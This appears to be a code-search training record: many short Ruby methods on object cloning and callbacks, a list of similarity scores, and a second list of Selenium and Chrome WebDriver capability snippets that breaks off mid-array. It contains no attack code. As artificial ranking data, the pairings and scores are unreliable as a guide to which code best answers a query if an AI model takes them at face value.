"def run_association_callbacks(reflection, callback_type, object)\n # The reason we automatically set raise_error for singular associations is that\n # assignment in ruby always returns the argument instead of the result of the\n # method, so we can't return nil to signal that the association callback prevented\n # the modification\n raise_error = raise_on_save_failure || !reflection.returns_array?\n stop_on_false = [:before_add, :before_remove, :before_set].include?(callback_type)\n reflection[callback_type].each do |cb|\n res = case cb\n when Symbol\n send(cb, object)\n when Proc\n cb.call(self, object)\n else\n raise Error, \"callbacks should either be Procs or Symbols\"\n end\n\n if res == false and stop_on_false\n Sequel::Deprecation.deprecate(\"Having #{callback_type} association callback return false to cancel modification\", \"Instead, call Model#cancel_action inside the association callback\")\n raise(HookFailed, \"Unable to modify association for #{inspect}: one of the #{callback_type} hooks returned false\")\n end\n end\n rescue HookFailed\n return false unless raise_error\n raise\n end",
"def initialize_copy(orig)\n super\n @delegated_to_object = @delegated_to_object.clone\n end",
"def clone\n raise NotImplementedError\n end",
"def deep_clone!(options = {})\n processed_options = Para::Cloneable::IncludeTreeBuilder.new(self, cloneable_options).build\n options = options.reverse_merge(processed_options)\n callback = build_clone_callback(options.delete(:prepare))\n \n deep_clone(options) do |original, clone|\n Para::Cloneable::AttachmentsCloner.new(original, clone).clone!\n callback&.call(original, clone)\n end\n end",
"def clone(*) end",
"def clone(*) end",
"def maybe_wrap_callback(meth_name, cb)\n return cb unless cb and chrooted? and (meth_name == :create)\n\n lambda do |hash|\n # in this case the string will be the absolute zookeeper path (i.e.\n # with the chroot still prepended to the path). Here's where we strip it off\n hash[:string] = strip_chroot_from(hash[:string])\n\n # call the original callback\n cb.call(hash)\n end\n end",
"def run_association_callbacks(reflection, callback_type, object)\n raise_error = raise_on_save_failure || !reflection.returns_array?\n stop_on_false = [:before_add, :before_remove].include?(callback_type)\n reflection[callback_type].each do |cb|\n res = case cb\n when Symbol\n send(cb, object)\n when Proc\n cb.call(self, object)\n else\n raise Error, \"callbacks should either be Procs or Symbols\"\n end\n if res == false and stop_on_false\n save_failure(\"modify association for\", raise_error)\n return false\n end\n end\n end",
"def callback(&block)\n super do |*args|\n safe_deferrable_block(*args, &block)\n end\n end",
"def deep_clone; end",
"def clone\n @clone ||= super\n end",
"def invoke_callback(callback, *args)\n klass.send(callback, self, *args) if klass.ancestors.include? ActAsGroup::Callbacks\n end",
"def callback &block\n super\n end",
"def callback &block\n super\n end",
"def without_fileclip_callback(&block)\n skip_callback :commit, :after, :process_fileclips!\n yield\n set_callback :commit, :after, :process_fileclips!\n end",
"def custom_deep_clone\n value = self.clone\n return Marshal.load(Marshal.dump(value))\n end",
"def initialize_clone( hooked_array_clone )\n \n super\n \n hooked_array_clone.internal_array = hooked_array_clone.internal_array.clone\n \n end",
"def clone_object(ref)\n load_object(ref, true)\n end",
"def cloneable?(ref)\n ref[:type] == :one_to_many || ref[:type] == :one_to_one\n end",
"def clone() end",
"def clone\n super\n end",
"def initialize_copy(other)\n # Think the assertion which fails if the after_initialize callback goes at the end of the method is wrong. The\n # deleted clone method called new which therefore called the after_initialize callback. It then went on to copy\n # over the attributes. But if it's copying the attributes afterwards then it hasn't finished initializing right?\n # For example in the test suite the topic model's after_initialize method sets the author_email_address to\n # test@test.com. I would have thought this would mean that all cloned models would have an author email address\n # of test@test.com. However the test_clone test method seems to test that this is not the case. As a result the\n # after_initialize callback has to be run *before* the copying of the atrributes rather than afterwards in order\n # for all tests to pass. This makes no sense to me.\n callback(:after_initialize) if respond_to_without_attributes?(:after_initialize)\n cloned_attributes = other.clone_attributes(:read_attribute_before_type_cast)\n # CPK\n #cloned_attributes.delete(self.class.primary_key)\n self.class.primary_key.each {|key| cloned_attributes.delete(key.to_s)}\n\n @attributes = cloned_attributes\n clear_aggregation_cache\n @attributes_cache = {}\n @new_record = true\n ensure_proper_type\n\n if scope = self.class.send(:current_scoped_methods)\n create_with = scope.scope_for_create\n create_with.each { |att,value| self.send(\"#{att}=\", value) } if create_with\n end\n end",
"def remote_clone\n raise CommandNotImplemented\n end",
"def cloneable?(ref)\n ref[:type] == self[:type]\n end",
"def clone\n # This is an easy fix to ruby's shameful lack of deep_copy.\n # Marshall.dump transforms any object in a string that can later be decoded to\n # yield the object back. This way, you get a deepcopy of the given object.\n # Easy but dirty.\n return Marshal.load( Marshal.dump(self) )\n end",
"def clone\n # This is an easy fix to ruby's shameful lack of deep_copy.\n # Marshall.dump transforms any object in a string that can later be decoded to\n # yield the object back. This way, you get a deepcopy of the given object.\n # Easy but dirty.\n return Marshal.load( Marshal.dump(self) )\n end",
"def clone(*args); end",
"def clone\n newobj = super\n newobj.instance_eval do\n __getobj__.each_pair do |k, v|\n __getobj__[k] = v.clone\n end\n end\n newobj\n end",
"def test_clone_creates_a_different_object\n obj = Object.new\n copy = obj.clone\n\n assert_equal true, obj != copy\n assert_equal true, obj.object_id != copy.object_id\n end",
"def clone\n end",
"def clone\n end",
"def clone\n end",
"def clone\n end",
"def to_proc\n ->(*args, &blk) do\n receiver = args.first\n if (blk)\n receiver.send(self, &blk)\n else\n args[0] = self\n receiver.send(*args)\n end\n end\n end",
"def mutate_clone(mutator_method, parameters = [])\n clone_ = clone\n if parameters.empty?\n clone_.send(mutator_method)\n else\n clone_.send(mutator_method, *parameters)\n end\n clone_\n end",
"def cloneable?(ref)\n ref[:type] == :many_to_many || ref[:type] == :one_through_one\n end",
"def clone; end",
"def clone; end",
"def clone; end",
"def vendored\n clone unless cloned?\n super\n end",
"def clone\n ret = self.deep_copy\n ret.register if self.registered\n ret\n end",
"def clone_pool\n super\n end",
"def callback &block\n @callback = block\n if @callback_args\n @callback.call *@callback_args\n end\n self\n end",
"def do_clone_server(connection, options)\n server_data = connection.vm_clone(options)\n yield(server_data) if block_given?\n server_data\n end",
"def clone\n @clone = true\n end",
"def deep_clone\n return @deep_cloning_obj if @deep_cloning\n @deep_cloning_obj = clone\n @deep_cloning_obj.instance_variables.each do |var|\n val = @deep_cloning_obj.instance_variable_get(var)\n begin\n @deep_cloning = true\n val = val.deep_clone\n rescue TypeError, NoMethodError\n next\n ensure\n @deep_cloning = false\n end\n @deep_cloning_obj.instance_variable_set(var, val)\n end\n deep_cloning_obj = @deep_cloning_obj\n @deep_cloning_obj = nil\n deep_cloning_obj\n end",
"def protect(callback = :before_save, &block)\n add_callback(callback) do |from, to|\n unless @unprotected\n instance_exec(from, to, &block)\n end\n end\n end",
"def cloneable?(ref)\n ref[:type] == :many_through_many || ref[:type] == :one_through_many\n end",
"def callback(&blk)\n @blk=blk\n end",
"def local_clone\n raise CommandNotImplemented\n end",
"def recursive_clone(parent_object_id = nil,\r\n clone_id_hash = {} )\r\n\r\n self.transaction do\r\n cloned_object = dup\r\n\r\n unequal_attrs = self.class.clone_info[:unequal_attributes] || []\r\n unequal_attrs.each do |a|\r\n cloned_object.send(\"#{a.to_s}=\", nil)\r\n end\r\n \r\n #Set parent object_id\r\n if self.class.parent_id_attr and parent_object_id\r\n cloned_object.send(\"#{self.class.parent_id_attr[0].to_s}=\", parent_object_id)\r\n end\r\n\r\n begin\r\n obj_attrs = cloned_object.attributes.clone\r\n self.class.ignore_attributes.each { |a| obj_attrs.delete(a.to_s)}\r\n if self.class.parent_id_attr and parent_object_id\r\n obj_attrs[\"#{self.class.parent_id_attr[0].to_s}\"] = parent_object_id\r\n end\r\n \r\n cloned_object.save!\r\n clone_id_hash[\"#{self.class.table_name}_#{self.id}\"] = cloned_object.id\r\n rescue Exception => e\r\n logger.info(\"deepclone: Clone save failed for \" + cloned_object.inspect)\r\n raise e\r\n end\r\n\r\n add_cloned_associations(cloned_object, clone_id_hash)\r\n add_equivalent_associations(cloned_object, clone_id_hash)\r\n \r\n clone_id_hash[\"#{self.class.table_name}_#{self.id}\"] = cloned_object.id\r\n cloned_object\r\n end # transaction\r\n end",
"def clone_with_associations\n raise \"Method not implemented, please define \\\"clone_with_associations\\\" in #{model_name.to_s}\"\n end",
"def around_save_collection_association\n previously_new_record_before_save = (@new_record_before_save ||= false)\n @new_record_before_save = !previously_new_record_before_save && new_record?\n\n yield\n ensure\n @new_record_before_save = previously_new_record_before_save\n end",
"def clone\n super\n end",
"def clone\n self\n end",
"def clone_f(pathname_or_remote_url, options = {})\n clone(pathname_or_remote_url, options.merge(force: true))\n end",
"def duplicate(&block)\n @on_duplicate = block\n end",
"def invoke_callback(callback)\n return unless callback\n if callback.is_a?(Proc) || callback.is_a?(Method)\n callback.call(self)\n else\n invoke_callback_class_instance(callback)\n end\n end",
"def cloneNode(deep = true)\n super(deep, @target, @data)\n end",
"def callback\n @callback ||= :value.to_proc\n end",
"def deep_copy( obj )\n\n\t\t\t# Handle mocks during testing\n\t\t\treturn obj if obj.class.name == 'RSpec::Mocks::Mock'\n\n\t\t\treturn case obj\n\t\t\t\twhen NilClass, Numeric, TrueClass, FalseClass, Symbol,\n\t\t\t\t Module, Encoding, IO, Tempfile\n\t\t\t\t\tobj\n\n\t\t\t\twhen Array\n\t\t\t\t\tobj.map {|o| deep_copy(o) }\n\n\t\t\t\twhen Hash\n\t\t\t\t\tnewhash = {}\n\t\t\t\t\tnewhash.default_proc = obj.default_proc if obj.default_proc\n\t\t\t\t\tobj.each do |k,v|\n\t\t\t\t\t\tnewhash[ deep_copy(k) ] = deep_copy( v )\n\t\t\t\t\tend\n\t\t\t\t\tnewhash\n\n\t\t\t\telse\n\t\t\t\t\tobj.clone\n\t\t\t\tend\n\t\tend",
"def each_callback(&block)\n parent.each_callback(&block)\n fetch_or_create_callbacks.each(&block)\n end",
"def test_clone\n assert_raises(TypeError) do\n @mmap.clone\n end\n end",
"def initialize_clone\n # avoids crash in RepositoriesController#destroy\n return unless attributes[\"extra_info\"][\"extra_clone_url\"]\n \n p = parse(attributes[\"extra_info\"][\"extra_clone_url\"])\n self.identifier = p[:identifier] if identifier.empty?\n self.url = PATH_PREFIX + p[:path] if url.empty?\n\n err = ensure_possibly_empty_clone_exists\n errors.add :extra_clone_url, err if err \n end",
"def callback(method, *args)\n callbacks_for(method).each do |callback|\n case callback\n when Symbol\n @owner.send(callback, *args)\n when Proc, Method\n callback.call(@owner, *args)\n else\n if callback.respond_to?(method)\n callback.send(method, @owner, *args)\n else\n raise ActiveRecordError, \"Callbacks must be a symbol denoting the method to call, a string to be evaluated, a block to be invoked, or an object responding to the callback method.\"\n end\n end\n end\n end",
"def _clone\n self.class.new(self)\n end",
"def in receiver\n @current.callback = lambda do |o, has|\n receiver.send has.method, o, *has.args, &has.block\n end\n self\n end",
"def perform_callback(callback, **opt)\n job_warn { 'ignoring blank callback' } unless callback\n callback&.cb_schedule(**opt)\n end",
"def clone_head; end",
"def deep_copy(obj); end",
"def initialize_copy(orig)\n super\n @delegated_to_object = @delegated_to_object.map do |institution|\n institution.clone\n end\n end",
"def clone\n copy(false)\n end",
"def clone_or_nil(op)\n return nil if op.nil? || !op.is_a?(BaseOperator)\n op.clone\n end",
"def cloned(ary)\n Marshal.load(Marshal.dump(ary))\n end",
"def cloning_tank\n end",
"def disconnected_callback(callback, &block)\n\t\t\t@disconnected = callback || block\n\t\tend",
"def clone_without_user\n a = self.clone\n a.user = nil\n a\n end",
"def to_proc\n -> target { self.call(target) }\n end",
"def to_proc\n -> target { self.call(target) }\n end",
"def to_proc\n lambda{ call }\n end",
"def remove_clone_pool(opts)\n opts = check_params(opts,[:clone_pools])\n super(opts)\n end",
"def to_proc\n Proc.new { |obj| self.===(obj) }\n end",
"def test_an_original_callback_is_not_invoked_when_absent\n multi = Curl::Multi.new\n request = OpenStruct.new\n error = [OpenStruct.new(name: 'name'), 'last']\n prep_on_failure_without_original_callback(request)\n def multi.remove_failure_callback(request); end\n multi.install_failure_callback(request, nil, nil)\n end",
"def verify_callback=(verify_callback); end",
"def verify_callback=(verify_callback); end",
"def deep_clone(value)\n case value\n when Hash\n value.inject({}) do |result, kv|\n result[kv[0]] = deep_clone(kv[1])\n result\n end\n when Array\n value.inject([]) do |result, item|\n result << deep_clone(item)\n end\n else\n begin\n value.clone\n rescue TypeError\n value\n end\n end\n end",
"def clone_for_recursion(child, association)\n self.class.new(\n # replication mode\n :mode => mode,\n\n # the new src_obj is of course the child\n :src_obj => child,\n\n # these stay the same\n :dest_mission => dest_mission,\n :deep_copy => deep_copy,\n :retain_link_on_promote => retain_link_on_promote,\n\n # this is always true since we go into a transaction first thing\n :in_transaction => true,\n\n # the current_assoc is the name of the association that is currently being replicated\n :current_assoc => association,\n\n # add the new copy to the list of copy parents\n :ancestors => ancestors + [dest_obj],\n\n # recursed always is true since we're recursing here\n :recursed => true\n )\n end",
"def each_copy(&block)\n @by_copy.each(&block)\n end",
"def clone\n Marshal.load(Marshal.dump self)\n end",
"def __copy_on_write__(*)\n super.tap do\n new_set = __getobj__.instance_variable_get(:@set).dup\n __getobj__.instance_variable_set(:@set, new_set)\n end\n end",
"def add_callback(type, options, &block)\n options[:bind_to_object] = true\n options[:terminator] = @terminator ||= lambda {|result| result == false}\n super\n end",
"def to_proc\n @to_proc ||= method(:coerce).to_proc\n end",
"def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end",
"def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end",
"def call\n clone_revision\n end"
] |
[
"0.5658105",
"0.50213337",
"0.49550936",
"0.49513608",
"0.4924511",
"0.49192488",
"0.49093536",
"0.48721215",
"0.48316348",
"0.48180613",
"0.48180613",
"0.48167148",
"0.48160154",
"0.47474736",
"0.47469723",
"0.47295466",
"0.47180298",
"0.47179538",
"0.47179538",
"0.47154334",
"0.46940312",
"0.46824035",
"0.46503654",
"0.4646999",
"0.46451584",
"0.46384364",
"0.46366602",
"0.46347067",
"0.46206057",
"0.45752734",
"0.45752734",
"0.45743054",
"0.45715848",
"0.45673415",
"0.45626765",
"0.45626765",
"0.45626765",
"0.45601514",
"0.45398724",
"0.45286852",
"0.4525275",
"0.452078",
"0.452078",
"0.452078",
"0.45043615",
"0.4485553",
"0.44845226",
"0.44677475",
"0.445192",
"0.4451703",
"0.442845",
"0.44257388",
"0.44188863",
"0.4405387",
"0.44042847",
"0.43985558",
"0.43939504",
"0.43909663",
"0.43872976",
"0.4383266",
"0.437349",
"0.4371798",
"0.43632284",
"0.43597773",
"0.43559042",
"0.43499774",
"0.4338633",
"0.43376398",
"0.43364045",
"0.43274844",
"0.43253845",
"0.43225053",
"0.43126595",
"0.43110687",
"0.42986453",
"0.42966267",
"0.42952287",
"0.4285738",
"0.42844692",
"0.42795202",
"0.42740858",
"0.4273709",
"0.42714784",
"0.42714784",
"0.42673013",
"0.42565012",
"0.42529082",
"0.42506143",
"0.42485037",
"0.42485037",
"0.42482543",
"0.42441893",
"0.42437622",
"0.424098",
"0.42384174",
"0.42323864",
"0.4232289",
"0.42321646",
"0.42321646",
"0.42257726"
] |
0.75211847
|
0
|
Returns webdriver capabilities for chrome browser
|
def chrome_capabilities
Selenium::WebDriver::Remote::Capabilities.chrome(
logging_prefs: {browser: 'ALL'},
'chromeOptions' => {
'args' => %w[--ignore-certificate-errors],
'w3c' => false
},
'acceptSslCerts' => true,
'acceptInsecureCerts' => true
)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def default_capabilities\n {\n :browserName => \"Chrome\",\n :version => nil,\n :platform => \"Linux\"\n }\n end",
"def browser_caps(browser,browser_options)\n target = (browser.to_sym if ENV['BROWSER'].nil? or ENV['browser'].empty?) || (ENV['BROWSER'].to_sym)\n browser,version,platform,device = extract_values_from(target)\n options = {}\n options.merge! browser_options\n caps = capabilities(browser,version,platform,device)\n options[:url] = url if url\n if options.include? :url\n browser = :remote\n options[:desired_capabilities] = caps\n end\n options[:http_client] = http_client if persistent_http or options.delete(:persistent_http)\n return browser,options\n end",
"def browserstack\n # Documentation and the code for this class can be found here\n # http://www.rubydoc.info/gems/selenium-webdriver/0.0.28/Selenium/WebDriver/Remote/Capabilities\n # https://github.com/SeleniumHQ/selenium/blob/master/rb/lib/selenium/webdriver/remote/capabilities.rb\n capabilities = Selenium::WebDriver::Remote::Capabilities.new\n\n config.browserstack.capabilities.each do |key, value|\n capabilities[key] = value\n end\n\n capabilities\n end",
"def capabilities\n data[:capabilities]\n end",
"def chrome_browser(*opts)\n options = Selenium::WebDriver::Chrome::Options.new\n opts.each { |n| options.add_argument(n) }\n driver = Selenium::WebDriver.for :chrome, detach: false, options: options\n Watir::Browser.new(driver)\n end",
"def get_driver\n case meta.engine\n when \"chrome\"\n options = Selenium::WebDriver::Chrome::Options.new\n options.add_argument('--disable-gpu')\n options.add_argument('--headless')\n options.add_argument('--device-scale-factor=1') # have to change cropping for 2x. also this is faster\n options.add_argument('--force-device-scale-factor')\n options.add_argument(\"--window-size=1200,1500\") # resize later so we can reuse drivers\n options.add_argument(\"--hide-scrollbars\") # hide scrollbars from screenshots\n Selenium::WebDriver.for :chrome, options: options\n end\n end",
"def capabilities\n FFI::Libvirt.virConnectGetCapabilities(pointer)\n end",
"def capabilities_array(browser_csv)\n unless File.exists?(browser_csv)\n puts \"Please provide a browser csv file and try again.\"\n finish\n end\n capabilities = SmarterCSV.process(browser_csv,:convert_values_to_numeric => false)\n capabilities.map do |caps|\n SauceGrabber::CapabilitiesFactory.new(caps, options[:tunnel])\n end\n capabilities\n end",
"def capabilities\n attributes.fetch(:capabilities)\n end",
"def capabilities\n attributes.fetch(:capabilities)\n end",
"def chrome\n no_proxy = config.proxy.no_proxy.tr(\",\", \";\")\n\n args = config.headless ? [\"--headless=new\"] : []\n\n options = Selenium::WebDriver::Options.chrome(args: args)\n\n options.add_argument(\"--proxy-server=#{config.proxy.host}:#{config.proxy.port}\") if config.proxy.use_proxy?\n options.add_argument(\"--proxy-bypass-list=#{no_proxy}\") unless config.proxy.no_proxy.empty?\n\n options.add_argument(\"--user-agent=#{config.user_agent}\") unless config.user_agent.empty?\n\n options\n end",
"def capabilities\n if @capabilities\n @capabilities\n elsif @cached_capabilities\n @capabilities = add_case_insensitive_default_proc(@cached_capabilities)\n else\n login\n end\n end",
"def capabilities; end",
"def capabilities; end",
"def capabilities; end",
"def browsers\n @browsers ||= @data[\"agents\"].keys.map{|b| PUBLIC_BROWSER_NAMES[b] }.sort\n end",
"def capabilities\n @manage_sieve.print_capabilities\n end",
"def capabilities\n @stack.capabilities\n end",
"def capabilities\n @capabilities ||= @data[\"data\"].keys.select do |cap|\n cats = @data[\"data\"][cap][\"categories\"]\n cats.any?{|cat| cat =~ /CSS/ }\n end.sort\n end",
"def open_browser_chrome\n\t\trequire 'watir-webdriver'\n\t\t@browser = Watir::Browser.new :chrome\n\tend",
"def firefox_capabilities\n Selenium::WebDriver::Remote::Capabilities.firefox(\n logging_prefs: {browser: 'ALL'},\n 'acceptSslCerts' => true,\n 'acceptInsecureCerts' => true,\n 'native_events' => true\n )\n end",
"def register_chrome_driver\n Capybara.register_driver :chrome do |app|\n if ENV['SELENIUM_GRID'] == 'false'\n Capybara::Selenium::Driver.new(app,\n browser: :chrome,\n desired_capabilities: chrome_capabilities)\n else\n Capybara::Selenium::Driver.new(app, browser: :remote,\n url: hub_url,\n desired_capabilities: chrome_capabilities)\n end\n end\n end",
"def device_driver name\n opts = {\n \"mobileEmulation\" => {\n \"deviceName\" => name\n }\n }\n capabilities = Selenium::WebDriver::Remote::Capabilities.chrome(\"chromeOptions\" => opts)\n Selenium::WebDriver.for(:chrome, desired_capabilities: capabilities)\n end",
"def chrome_version\n browser = request.user_agent\n match = /Chrome\\/(\\d+)\\./.match(browser)\n match ? match[1].to_i : 0\n end",
"def get_desktop_browser_capabilities_using_get(opts = {})\n data, _status_code, _headers = get_desktop_browser_capabilities_using_get_with_http_info(opts)\n data\n end",
"def setup_grid(driver)\n if driver == 'chrome'\n capabilities = Selenium::WebDriver::Remote::Capabilities.new\n @browser = Watir::Browser.new(\n :remote,\n url: gridUrl,\n desired_capabilities: capabilities\n )\n end\nend",
"def get_browser(scenario)\n if ENV['LOCAL']\n return get_local_browser(scenario)\n end\n get_zalenium_browser(scenario)\nend",
"def capabilities(*caps)\n caps = [caps].flatten\n\n raise \"Discovery plugin capabilities can't be empty\" if caps.empty?\n\n caps.each do |cap|\n if [:classes, :facts, :identity, :agents, :compound].include?(cap)\n @entities[:discovery][:capabilities] << cap\n else\n raise \"%s is not a valid capability, valid capabilities are :classes, :facts, :identity, :agents and :compound\" % cap\n end\n end\n end",
"def create_node_capabilities(node, caps = [])\n\n\t\tnode['driver'].each do |key, values|\n\t\t\tentry = { browserName: key, platform: node['platform'].upcase }\n\t\t\tvalues.each { |name, value| entry[name.to_s] = value }\n\t\t\tcaps << entry\n\t\tend \n\n\t\tcaps.to_json \n\tend",
"def browser_type\n if $TESTWISE_BROWSER\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n \"chrome\".to_sym\n end\n end",
"def scrapping_options\n opts = {\n headless: true\n }\n\n if Rails.env.production?\n if (chrome_bin = ENV.fetch('GOOGLE_CHROME_SHIM', nil))\n opts[:options] = { binary: chrome_bin }\n end\n else\n chrome_bin = '/usr/bin/google-chrome'\n opts[:options] = { binary: chrome_bin }\n end\n opts\nend",
"def selenium_api\n browser.driver.methods - Object.public_methods\n end",
"def capabilities(keyword = nil)\n request Net::NNTP::Capabilities.new(keyword)\n end",
"def browser_info\n # Fetch the UserAgent string using javascript navigator object\n ua_string = browser.execute_script('return navigator.userAgent')\n @parsed_ua = UserAgent.parse(ua_string)\n end",
"def capabilities\n @capabilities ||=\n instrument \"capabilities.github_ldap\" do |payload|\n begin\n @connection.search_root_dse\n rescue Net::LDAP::Error => error\n payload[:error] = error\n # stubbed result\n Net::LDAP::Entry.new\n end\n end\n end",
"def get_desktop_browser_capabilities_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DevicesApi.get_desktop_browser_capabilities_using_get ...'\n end\n # resource path\n local_var_path = '/api/v2/devices/desktop-browser-capabilities'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apiKeyInHeader', 'oAuth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'APIDesktopBrowserCapabilities')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DevicesApi#get_desktop_browser_capabilities_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def initialize(browser = :chrome)\n @driver = Selenium::WebDriver.for browser\n end",
"def new_browser\n if ENV[\"LOCAL_OR_HEROKU\"] then\n Watir::Browser.new :firefox\n else\n options = Selenium::WebDriver::Chrome::Options.new\n # make a directory for chrome if it doesn't already exist\n chrome_dir = File.join Dir.pwd, %w(tmp chrome)\n FileUtils.mkdir_p chrome_dir\n user_data_dir = \"--user-data-dir=#{chrome_dir}\"\n # add the option for user-data-dir\n options.add_argument user_data_dir\n\n # let Selenium know where to look for chrome if we have a hint from\n # heroku. chromedriver-helper & chrome seem to work out of the box on osx,\n # but not on heroku.\n if chrome_bin = ENV[\"GOOGLE_CHROME_BIN\"]\n options.add_argument \"no-sandbox\"\n options.binary = chrome_bin\n # give a hint to here too\n Selenium::WebDriver::Chrome.driver_path = \\\n \"/app/vendor/bundle/bin/chromedriver\"\n end\n\n # headless!\n # keyboard entry wont work until chromedriver 2.31 is released\n options.add_argument \"window-size=1200x600\"\n options.add_argument \"headless\"\n options.add_argument \"disable-gpu\"\n\n # make the browser\n Watir::Browser.new :chrome, options: options\n end\n end",
"def start_driver\n file_path = 'C://Selenium/chromedriver'\n folder = 'chromedriver'\n web_driver = 'chromedriver.exe'\n file = File.absolute_path('', File.dirname(file_path)), folder, web_driver\n chrome_driver_path = File.join(file)\n Selenium::WebDriver::Chrome.driver_path = chrome_driver_path\n Selenium::WebDriver.for :chrome\n end",
"def browser\n (ENV['BROWSER'] ||= 'chrome').to_sym\nend",
"def get_browser_command_line\n {\n method: \"Browser.getBrowserCommandLine\"\n }\n end",
"def setup\n # caps = Selenium::WebDriver::Remote::Capabilities.new\n # caps[:browserName] = :chrome\n #@driver = Selenium::WebDriver.for (\n # :remote,\n # :url=> 'http://localhost:4444/wd/hub',\n # :desired_capabilities=> caps )\n #ENV['base_url'] = 'http://codap.concord.org/~eireland/CodapClasses'\n @@driver = Selenium::WebDriver.for :chrome\n # ENV['base_url'] = 'http://localhost:4020/dg'\n ENV['base_url'] = 'http://codap.concord.org/releases/latest/'\n # setupHelper(@driver.session_id)\nrescue Exception => e\n puts e.message\n puts \"Could not start driver #{@@driver}\"\n exit 1\nend",
"def capability imap, res = nil\n return imap.capability unless res\n\n data = res.data\n\n if data.code and data.code.name == 'CAPABILITY' then\n data.code.data.split ' '\n else\n imap.capability\n end\n end",
"def browser_name\n (ENV['BROWSER'] ||= 'chrome').downcase.to_sym\nend",
"def name\n @driver.browser_type\n end",
"def chrome_headless?\n enabled?(ENV['CHROME_HEADLESS'])\n end",
"def chrome_headless?\n enabled?(ENV['CHROME_HEADLESS'])\n end",
"def chrome_os?\n !!(ua =~ /CrOS/)\n end",
"def capability\n one_data_response(\"CAPABILITY\").transform{ |response| response.data }\n end",
"def browser_cmdline\n browser_env.each do |p|\n Launchy.log \"#{self.class.name} : possibility from BROWSER environment variable : #{p}\"\n end\n app_list.each do |p|\n Launchy.log \"#{self.class.name} : possibility from app_list : #{p}\"\n end\n\n possibilities = (browser_env + app_list).flatten\n\n if browser = possibilities.shift then\n Launchy.log \"#{self.class.name} : Using browser value '#{browser}'\"\n return browser\n end\n raise Launchy::CommandNotFoundError, \"Unable to find a browser command. If this is unexpected, #{Launchy.bug_report_message}\"\n end",
"def capability\n return @capability\n end",
"def add_appium_prefix(capabilities)\n w3c_capabilities = ::Selenium::WebDriver::Remote::W3C::Capabilities.new\n\n capabilities = capabilities.__send__(:capabilities) unless capabilities.is_a?(Hash)\n\n capabilities.each do |name, value|\n next if value.nil?\n next if value.is_a?(String) && value.empty?\n\n capability_name = name.to_s\n w3c_name = extension_prefix?(capability_name) ? name : \"#{APPIUM_PREFIX}#{capability_name}\"\n\n w3c_capabilities[w3c_name] = value\n end\n\n w3c_capabilities\n end",
"def initialize(browser = :chrome, *args)\n @capabilities = browser.is_a?(Capabilities) ? browser : Capabilities.new(browser, *args)\n @driver = browser.is_a?(Selenium::WebDriver::Driver) ? browser : Selenium::WebDriver.for(*@capabilities.to_args)\n\n @after_hooks = AfterHooks.new(self)\n @closed = false\n @default_context = true\n end",
"def chrome?(expected_version = nil)\n Chrome.new(ua).match? && detect_version?(full_version, expected_version)\n end",
"def get_browser_contexts\n {\n method: \"Target.getBrowserContexts\"\n }\n end",
"def setup_desktop_grid(capability)\n\tCapybara.register_driver :selenium do |app|\n\t\tCapybara::Selenium::Driver.new(app,\n\t\t\t:browser => :remote,\n\t\t\t:url => SELENIUM_GRID,\n\t\t\t:desired_capabilities => capability)\n\tend\n\t\tCapybara.default_driver = :selenium\nend",
"def init_browser(application_source)\n Selenium::WebDriver::Chrome.driver_path = application_source.driverPath\n options = Selenium::WebDriver::Chrome::Options.new\n options.add_argument('--headless')\n options.add_argument('--disable-gpu')\n # TODO Use factory method\n @driver = Selenium::WebDriver.for :chrome, options: options\n # TODO Move to strategy classes\n @driver.manage.timeouts.implicit_wait = application_source.implicitWaitTimeOut\n #@driver.manage.window.maximize\n end",
"def chrome_headless?\n (ENV['CHROME_HEADLESS'] =~ /^(false|no|0)$/i) != 0\n end",
"def browser_type\n if $TESTWISE_BROWSER then\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n end\n end",
"def desired_caps_real_device\n\tdesired_caps = {\n\t caps: {\n\t platformName: \t\t'iOS',\n\t versionNumber: \t\t'9.0',\n\t deviceName: \t\t'iPad de Guillem',\n newCommandTimeout: 1000, \n\t udid: \t\t'52257b7d0ae102e2d79f02448b5486aca8c6e715',\n\t autoAcceptAlerts: true,\n bundleId: 'com.kg.GoldenManager',\n #newCommandTimeout: 10,\n\t #app:\t \t\t\t\t\tAPP_PATH, \t\n fullReset: false,\n fastReset: true\n\t }\n\t}\nend",
"def open_browser (ele)\n\n but_ref=$array2[\"#{ele}\"]\n if but_ref == \"firefox\"\n $log.info \"Firefox browser is going to open\"\n $browser = Watir::Browser.new :firefox\n elsif but_ref== \"ie\"\n $log.info \"Internet browser is going to open\"\n $browser = Watir::Browser.new :ie\n elsif but_ref == \"chrome\"\n $log.info \"Chrome browser is going to open\"\n profile = Selenium::WebDriver::Chrome::Profile.new\n profile['download.prompt_for_download'] = false\n profile['download.default_directory'] = \"D:\\\\CCL -naz\\\\configuration\"\n $browser = Watir::Browser.new :chrome, :profile => profile\n\telse\n\tfail_screenshot\n\t $log.info \"failed to open the #{ele} browser\"\n raise(\"failed to open the #{ele} browser\") \n end\n $browser.window.resize_to(1616,876)\nend",
"def chromeframe\n detect_user_agent_by_product_or_comment(\"chromeframe\")\n end",
